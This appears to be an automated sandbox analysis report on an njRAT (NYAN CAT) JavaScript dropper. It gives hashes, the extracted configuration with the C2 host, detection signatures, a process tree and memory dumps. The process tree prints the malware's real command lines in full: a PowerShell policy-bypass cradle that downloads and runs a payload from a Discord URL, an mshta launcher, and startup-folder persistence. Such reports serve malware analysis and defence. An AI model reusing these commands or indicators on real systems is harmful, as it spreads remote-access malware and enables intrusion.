njrat | ba2680549e33524c3b96c4b2be01c47297e977fe7532034936d8baa4f6dc3104

General

Target

34ce23e0cac1eb85e253f52b87c53436.js
Size

256B
MD5

34ce23e0cac1eb85e253f52b87c53436
SHA1

fbc026960fc1009eae89f7506276a5e153ec58ec
SHA256

ba2680549e33524c3b96c4b2be01c47297e977fe7532034936d8baa4f6dc3104
SHA512

488b7d7cc0a3a723273f4bac17f4b45daa9c894d03af15b6c14e84d9f9b4ee3fa7d263b03fb3c12c78361a4a9d92b77a6e7a25e323b9494e937ba1ca6be92c9d

Score

10^/10

njrat nyan cat suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://cdn.discordapp.com/attachments/908377323814916189/915315815404953630/yuniiii.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

yuni2022.duckdns.org:2000

Mutex

4ab2234479534

Attributes

reg_key
4ab2234479534
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 3044 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 520 set thread context of 3492 520 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3044 powershell.exe
3044 powershell.exe
3044 powershell.exe
520 powershell.exe
520 powershell.exe
520 powershell.exe

flow	pid	process
11	3044	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.vbs	powershell.exe

description	pid	process	target process
PID 520 set thread context of 3492	520	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	powershell.exe

pid	process
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe
520	powershell.exe
520	powershell.exe
520	powershell.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	520	powershell.exe
Token: SeDebugPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe
Token: 33	3492	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3492	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

wscript.exepowershell.exeWScript.execmd.exemshta.exepowershell.exe

description	pid	process	target process
PID 3676 wrote to memory of 3044	3676	wscript.exe	powershell.exe
PID 3676 wrote to memory of 3044	3676	wscript.exe	powershell.exe
PID 3044 wrote to memory of 748	3044	powershell.exe	WScript.exe
PID 3044 wrote to memory of 748	3044	powershell.exe	WScript.exe
PID 748 wrote to memory of 3732	748	WScript.exe	cmd.exe
PID 748 wrote to memory of 3732	748	WScript.exe	cmd.exe
PID 3732 wrote to memory of 4240	3732	cmd.exe	mshta.exe
PID 3732 wrote to memory of 4240	3732	cmd.exe	mshta.exe
PID 4240 wrote to memory of 520	4240	mshta.exe	powershell.exe
PID 4240 wrote to memory of 520	4240	mshta.exe	powershell.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe
PID 520 wrote to memory of 3492	520	powershell.exe	aspnet_compiler.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\34ce23e0cac1eb85e253f52b87c53436.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass iex ((New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/908377323814916189/915315815404953630/yuniiii.txt'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS"
3⤵
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\SystemLogin.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\system32\mshta.exe
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'"", 0:close")
5⤵
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\myScript.ps1'
6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:520

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
fbf00fb02a4149fb06925bc5522a5470

SHA1
72c68a75d51d10b26b61563f3ed67c036d29fe54

SHA256
52a082767c0d42bcdf76df730ae1238194bd17606909d7acbcc3f2ede829219f

SHA512
067eb68fafd49f641e4cdf38217eb34a4c794c2b08508d5896ec4246db096ea06ca4ed7ee393b3c8291d0fd1971c420e81d9226a727631bcdf224dfc623628ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
95fdfe508b23a34ff82f222c68197272

SHA1
512174da60d11d033c13f037d1b5b0735c92cc54

SHA256
c0cc4840174757d5ff795da6bf8ed80be0e01ac2b01af65f36b27e973621aa7b

SHA512
60b7d16bd2e3f505892dde1d94e081f2cb5db87f48bdb5e8c5bb9024592c47d1d0c1d182cbdd16fab08396e6dcbe32f4a008ed50e39821bf7d42d1b247bec4f2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Login1.VBS
MD5
558a8b7b3fdef4ca79110f8cfd126694

SHA1
d6e96ca27f701b3f4c24885dacd14c762a9d36b0

SHA256
38c9b7098371b39e61a6dcf78370dddf47f4d2be2c32704a2a0310b76c52c0f7

SHA512
37d6d72d5f518aaf1cf37154ed75aec7c7f11677508874eb3c3cbf44ca0ebeb22112dfa5f45a2f5d821604c521092ef768016d83f948444a9ff2e2a812d1c283

Download Submit
C:\Users\Admin\AppData\Roaming\SystemLogin.bat
MD5
7f85382953fde20b101039d48673dbd2

SHA1
5ebaa67f5862b2925d9029f4761b7e2ce9a99dd9

SHA256
fde417ad1b13a97acfa8e409789a92c4c3ddf6303851337ca31b94bfac634e4f

SHA512
6e93b74237844e1f78cd3ae64c0a00702c0b1aa1febda2feb52ca99b8a58ab2efd0c7b8351f040bf56a8bc1a8f5b1f57c4a9ffed46f8a2f9cba898e8e138ce46

Download Submit
C:\Users\Public\myScript.ps1
MD5
b7ce758a456d759c9c8d9d165de473bc

SHA1
eb07b9f9a21b12945cd461d970b925698183b8f5

SHA256
0d44b8e8222a09eecef416a78409757ac190eae8bd7c0ceb2880791eedeec295

SHA512
8c239aa579b8e3875a271a730755c8ee2f83ac72b248270090a8bc025850ac2bd81100dac6118935a10ab686f7e295d599ee99a94779446db5b9cc30110cea04

Download Submit
memory/520-177-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-179-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-194-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-164-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-191-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-190-0x0000022EFA870000-0x0000022EFA873000-memory.dmp

Filesize
12KB

Download
memory/520-189-0x0000022EFA860000-0x0000022EFA865000-memory.dmp

Filesize
20KB

Download
memory/520-184-0x0000022EE23E0000-0x0000022EE23E2000-memory.dmp

Filesize
8KB

Download
memory/520-183-0x0000022EFA926000-0x0000022EFA928000-memory.dmp

Filesize
8KB

Download
memory/520-161-0x0000000000000000-mapping.dmp

Download
memory/520-175-0x0000022EFA923000-0x0000022EFA925000-memory.dmp

Filesize
8KB

Download
memory/520-174-0x0000022EFA920000-0x0000022EFA922000-memory.dmp

Filesize
8KB

Download
memory/520-172-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-163-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-171-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-165-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-167-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-166-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/520-169-0x0000022EE07D0000-0x0000022EE07D2000-memory.dmp

Filesize
8KB

Download
memory/748-154-0x0000000000000000-mapping.dmp

Download
memory/3044-118-0x0000000000000000-mapping.dmp

Download
memory/3044-119-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-121-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-125-0x000001F2BAA73000-0x000001F2BAA75000-memory.dmp

Filesize
8KB

Download
memory/3044-127-0x000001F2D2E10000-0x000001F2D2E11000-memory.dmp

Filesize
4KB

Download
memory/3044-122-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-128-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-123-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-120-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-155-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-138-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-137-0x000001F2BAA76000-0x000001F2BAA78000-memory.dmp

Filesize
8KB

Download
memory/3044-136-0x000001F2D2E40000-0x000001F2D2E42000-memory.dmp

Filesize
8KB

Download
memory/3044-126-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-124-0x000001F2BAA70000-0x000001F2BAA72000-memory.dmp

Filesize
8KB

Download
memory/3044-135-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-131-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3044-130-0x000001F2D3850000-0x000001F2D3851000-memory.dmp

Filesize
4KB

Download
memory/3044-129-0x000001F2B8DA0000-0x000001F2B8DA2000-memory.dmp

Filesize
8KB

Download
memory/3492-193-0x000000000040676E-mapping.dmp

Download
memory/3492-192-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3492-197-0x0000000005190000-0x0000000005191000-memory.dmp

Filesize
4KB

Download
memory/3492-198-0x0000000005780000-0x0000000005781000-memory.dmp

Filesize
4KB

Download
memory/3492-200-0x0000000005280000-0x000000000577E000-memory.dmp

Filesize
5.0MB

Download
memory/3732-158-0x0000000000000000-mapping.dmp

Download
memory/4240-160-0x0000022B08468000-0x0000022B08470000-memory.dmp

Filesize
32KB

Download
memory/4240-159-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads